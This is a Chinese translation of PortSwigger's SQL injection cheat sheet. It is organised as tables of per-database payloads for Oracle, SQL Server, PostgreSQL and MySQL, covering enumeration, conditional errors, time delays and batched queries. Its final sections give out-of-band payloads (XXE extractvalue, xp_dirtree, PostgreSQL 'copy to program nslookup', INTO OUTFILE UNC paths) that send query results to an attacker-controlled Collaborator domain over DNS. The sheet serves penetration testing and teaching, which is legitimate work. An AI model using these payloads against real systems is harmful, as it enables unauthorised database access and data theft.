本文翻译自:https://portswigger.net/web-security/sql-injection/cheat-sheet
这份SQL注入备忘录包含一些有用的语法示例,您可以使用这些语法来执行各种任务,这些任务在执行SQL注入攻击时经常出现。
您可以将多个字符串连接成为一个字符串。
DBS | Payload |
---|---|
Oracle | ‘foo’||‘bar’ |
Microsoft | ‘foo’+‘bar’ |
PostgreSQL | ‘foo’||‘bar’ |
MySQL | ‘foo’ ‘bar’[注意字符串之前的空格] CONCAT(‘foo’,‘bar’) |
您可以从指定的偏移和长度中提取字符串的一部分。请注意,偏移索引是整数。以下每个表达式将返回字符串 ba
。
DBS | Payload |
---|---|
Oracle | SUBSTR(‘foobar’, 4, 2) |
Microsoft | SUBSTRING(‘foobar’, 4, 2) |
PostgreSQL | SUBSTRING(‘foobar’, 4, 2) |
MySQL | SUBSTRING(‘foobar’, 4, 2) |
您可以使用注释来截断查询并删除输入后的原始查询部分。
DBS | Payload |
---|---|
Oracle | –comment |
Microsoft | –comment /*comment*/ |
PostgreSQL | –comment /*comment*/ |
MySQL | #comment – comment [注意破折号后面的空格] /*comment*/ |
您可以查询数据库以确定其类型和版本,这些信息在制定更复杂的攻击时很有用。
DBS | Payload |
---|---|
Oracle | SELECT banner FROM v$version SELECT version FROM v$instance |
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
您可以列出数据库中存在的表以及这些表包含的列。
DBS | Payload |
---|---|
Oracle | SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = ‘TABLE-NAME-HERE’ |
Microsoft | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ |
PostgreSQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ |
MySQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’ |
您可以测试单个布尔条件,如果条件为真,则触发数据库错误。
DBS | Payload |
---|---|
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual |
Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),‘a’) |
您可以使用多语句查询连续执行多个查询。请注意,在执行后续查询时,结果不会返回到应用程序。因此,此技术主要用于盲漏洞,您可以使用第二个查询来触发 DNS 查询、条件错误或时间延迟。
DBS | Payload |
---|---|
Oracle | Does not support batched queries. |
Microsoft | QUERY-1-HERE; QUERY-2-HERE |
PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
MySQL | QUERY-1-HERE; QUERY-2-HERE |
注意
MySQL中,多语句查询通常不能用于 SQL 注入。但是,如果目标应用程序使用某些 PHP 或 Python API 与 MySQL 数据库进行通信,则偶尔可能实现注入。
处理查询时,可能会导致数据库中的时间延迟。以下将导致无条件的时间延迟 10 秒。
DBS | Payload |
---|---|
Oracle | dbms_pipe.receive_message((‘a’),10) |
Microsoft | WAITFOR DELAY ‘0:0:10’ |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT sleep(10) |
您可以测试单个布尔条件,如果条件为真,则触发时间延迟。
DBS | Payload |
---|---|
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN ‘a’||dbms_pipe.receive_message((‘a’),10) ELSE NULL END FROM dual |
Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY ‘0:0:10’ |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),‘a’) |
您可以使数据库对外部域进行 DNS 查找。为此,您需要使用 Burp Collaborator client
生成您将在攻击中使用的独特 Burp 协作器子域,然后轮询Collaborator服务器以确认发起了 DNS 查询。
DBS | Payload |
---|---|
Oracle | 以下技术利用 XML 外部实体(XXE)漏洞触发 DNS 查找。漏洞已被修补,但现实中存在许多未修补的实例: SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual 以下技术适用于完整修补的Oracle实例,但需要提权: SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net') |
Microsoft | exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a' |
PostgreSQL | copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net' |
MySQL | 以下技术仅适用于Windows: LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a')SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |
您可以使数据库对包含注入查询结果的外部域执行DNS查找。为此,您需要使用 Burp Collaborator client
生成您将在攻击中使用的独特 Burp Collaborator子域,然后轮询Collaborator服务器以检索任何DNS交互的详细信息,包括已泄露的数据。
DBS | Payload |
---|---|
Oracle | SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' ||(SELECT YOUR-QUERY-HERE) ||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual |
Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"') |
PostgreSQL | create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := ‘copy (SELECT ‘’’’) to program ‘‘nslookup ‘||p||’.YOUR-SUBDOMAIN-HERE.burpcollaborator.net’’’; execute c; END; $$ language plpgsql security definer; SELECT f(); |
MySQL | 以下技术仅适用于Windows: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |